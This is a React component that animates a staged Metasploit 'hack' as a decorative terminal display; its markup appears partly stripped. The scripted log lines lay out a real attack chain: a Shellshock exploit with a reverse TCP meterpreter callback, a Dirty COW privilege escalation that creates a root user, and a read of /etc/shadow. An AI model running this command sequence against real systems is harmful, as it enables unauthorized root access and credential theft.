```javascript 'use client'; import React, { useState, useEffect, useRef, useMemo } from 'react'; import { motion, AnimatePresence } from 'framer-motion'; import * as Lucide from 'lucide-react'; export default function MetasploitHack() { // --------------------------------------------------------------------------- // State & Refs // --------------------------------------------------------------------------- const [logs, setLogs] = useState([]); const [progress, setProgress] = useState(0); const [accessLevel, setAccessLevel] = useState('USER'); // USER | ESCALATING | ROOT const [targetStatus, setTargetStatus] = useState('VULNERABLE'); const [sessionTime, setSessionTime] = useState('00:00:00'); const scrollRef = useRef(null); const logsRef = useRef([]); // Mirror for immediate access in loop // Animation loop control const frameRef = useRef(0); const startTimeRef = useRef(0); const scriptIndexRef = useRef(0); const lastScriptTimeRef = useRef(0); // --------------------------------------------------------------------------- // Constants & Config // --------------------------------------------------------------------------- const WIDTH = 1200; const HEIGHT = 700; const SCRIPT = useMemo(() => [ { t: 500, text: "msf6 > db_status", color: "#ccc" }, { t: 800, text: "[*] Connected to msf_database.", color: "#3b82f6" }, { t: 1500, text: "msf6 > search type:exploit platform:linux", color: "#ccc" }, { t: 2200, text: "[+] Found 432 matching modules.", color: "#22c55e" }, { t: 3000, text: "msf6 > use exploit/multi/http/apache_mod_cgi_bash_env_exec", color: "#ccc" }, { t: 3500, text: "[*] Using configured payload linux/x86/meterpreter/reverse_tcp", color: "#3b82f6" }, { t: 4200, text: "msf6 exploit(apache_mod_cgi) > set RHOSTS 192.168.1.105", color: "#ccc" }, { t: 4500, text: "RHOSTS => 192.168.1.105", color: "#ccc" }, { t: 5000, text: "msf6 exploit(apache_mod_cgi) > check", color: "#ccc" }, { t: 6000, text: "[+] 192.168.1.105:80 - The target is vulnerable.", color: "#22c55e" }, { t: 7000, text: "msf6 exploit(apache_mod_cgi) > exploit", color: "#ccc" }, { t: 7500, text: "[*] Started reverse TCP handler on 10.10.14.3:4444", color: "#3b82f6" }, { t: 8500, text: "[*] Sending stage (985320 bytes) to 192.168.1.105", color: "#3b82f6" }, { t: 9500, text: "[*] Meterpreter session 1 opened (10.10.14.3:4444 -> 192.168.1.105:38192)", color: "#22c55e" }, { t: 10500, text: "meterpreter > sysinfo", color: "#ccc" }, { t: 11000, text: "Computer: linux-server-01", color: "#ccc" }, { t: 11100, text: "OS : Linux 5.4.0-42-generic (x64)", color: "#ccc" }, { t: 12000, text: "meterpreter > getuid", color: "#ccc" }, { t: 12500, text: "Server username: www-data (uid=33, gid=33)", color: "#eab308" }, { t: 13500, text: "[!] User privileges detected. Initiating escalation...", color: "#eab308", action: "ESCALATE" }, { t: 14500, text: "meterpreter > upload /opt/privesc/dirty_cow_mod.c", color: "#ccc" }, { t: 15500, text: "[*] Uploading: dirty_cow_mod.c -> /tmp/dcow.c", color: "#3b82f6" }, { t: 16500, text: "meterpreter > execute -f gcc -a '/tmp/dcow.c -o /tmp/dcow -pthread'", color: "#ccc" }, { t: 18000, text: "meterpreter > execute -f /tmp/dcow", color: "#ccc" }, { t: 19000, text: "[*] Backing up /etc/passwd...", color: "#3b82f6" }, { t: 20000, text: "[*] Setting root password...", color: "#3b82f6" }, { t: 21000, text: "[+] Complete. Firefart user created.", color: "#22c55e" }, { t: 22000, text: "meterpreter > shell", color: "#ccc" }, { t: 22500, text: "# su firefart", color: "#ccc" }, { t: 23500, text: "# whoami", color: "#ccc" }, { t: 24500, text: "root", color: "#ef4444", size: "1.5em", weight: "bold", action: "ROOT" }, { t: 25500, text: "[+] ROOT PRIVILEGES ACQUIRED", color: "#22c55e" }, { t: 26500, text: "# cat /etc/shadow", color: "#ccc" }, { t: 27000, text: "root:$6$hJ8...:18342:0:99999:7:::", color: "#ccc" }, ], []); // --------------------------------------------------------------------------- // Animation Loop // --------------------------------------------------------------------------- useEffect(() => { startTimeRef.current = performance.now(); const loop = (time) => { const elapsed = time - startTimeRef.current; // Update Timer const totalSeconds = Math.floor(elapsed / 1000); const mins = String(Math.floor(totalSeconds / 60)).padStart(2, '0'); const secs = String(totalSeconds % 60).padStart(2, '0'); const centi = String(Math.floor((elapsed % 1000) / 10)).padStart(2, '0'); setSessionTime(`${mins}:${secs}:${centi}`); // Script Execution if (scriptIndexRef.current < SCRIPT.length) { const nextStep = SCRIPT[scriptIndexRef.current]; if (elapsed >= nextStep.t) { // Add log const newLog = { id: scriptIndexRef.current, text: nextStep.text, color: nextStep.color, size: nextStep.size || '1rem', weight: nextStep.weight || 'normal' }; logsRef.current = [...logsRef.current, newLog]; setLogs(logsRef.current); // Scroll to bottom if (scrollRef.current) { scrollRef.current.scrollTop = scrollRef.current.scrollHeight; } // Handle Actions if (nextStep.action === 'ESCALATE') { setAccessLevel('ESCALATING'); setTargetStatus('COMPROMISED'); } if (nextStep.action === 'ROOT') { setAccessLevel('ROOT'); setTargetStatus('OWNED'); } scriptIndexRef.current++; } } // Progress Bar Simulation (Oscillating with trend up) if (scriptIndexRef.current < SCRIPT.length) { const targetP = (scriptIndexRef.current / SCRIPT.length) * 100; setProgress(p => p + (targetP - p) * 0.05); } else { setProgress(100); } frameRef.current = requestAnimationFrame(loop); }; frameRef.current = requestAnimationFrame(loop); return () => cancelAnimationFrame(frameRef.current); }, [SCRIPT]); // --------------------------------------------------------------------------- // Render Helpers // --------------------------------------------------------------------------- const getBorderColor = () => { if (accessLevel === 'ROOT') return '#ef4444'; // Red for root/danger if (accessLevel === 'ESCALATING') return '#eab308'; // Yellow return '#22c55e'; // Green }; const currentBorderColor = getBorderColor(); return (

{/* Background Grid with Perspective */}

{/* Vignette & Scanlines */}

{/* Main UI Container */} {/* Decorative Corners */} {[0,1,2,3].map(i => (

= 2 ? -1 : 'auto', left: i % 2 === 0 ? -1 : 'auto', right: i % 2 !== 0 ? -1 : 'auto', width: 20, height: 20, borderTop: i < 2 ? `4px solid ${currentBorderColor}` : 'none', borderBottom: i >= 2 ? `4px solid ${currentBorderColor}` : 'none', borderLeft: i % 2 === 0 ? `4px solid ${currentBorderColor}` : 'none', borderRight: i % 2 !== 0 ? `4px solid ${currentBorderColor}` : 'none', }} /> ))} {/* Header */}

METASPLOIT_FRAMEWORK

CONNECTED

{sessionTime}

{/* Body Content */}

{/* Sidebar (Target Info) */}

{/* Target Card */}

TARGET IP

192.168.1.105

OS LINUX KERNEL 5.4

PORT 80 (HTTP)

{/* Visualizer Circle */}

{/* Animated Rings */} {/* Center Icon */}

{accessLevel === 'ROOT' ? ( ) : ( )}

STATUS

{targetStatus}

{/* Exploit Module Info */}

MODULE:

exploit/multi/http/apache_mod_cgi...

PAYLOAD:

meterpreter/reverse_tcp

{/* Main Terminal Area */}

{logs.map((log, idx) => ( {log.text} ))} {/* Blinking cursor */}

{/* Bottom Progress Bar */}

{accessLevel === 'ROOT' ? 'SYSTEM COMPROMISED' : 'EXPLOIT IN PROGRESS'}

{Math.round(progress)}%

); } ```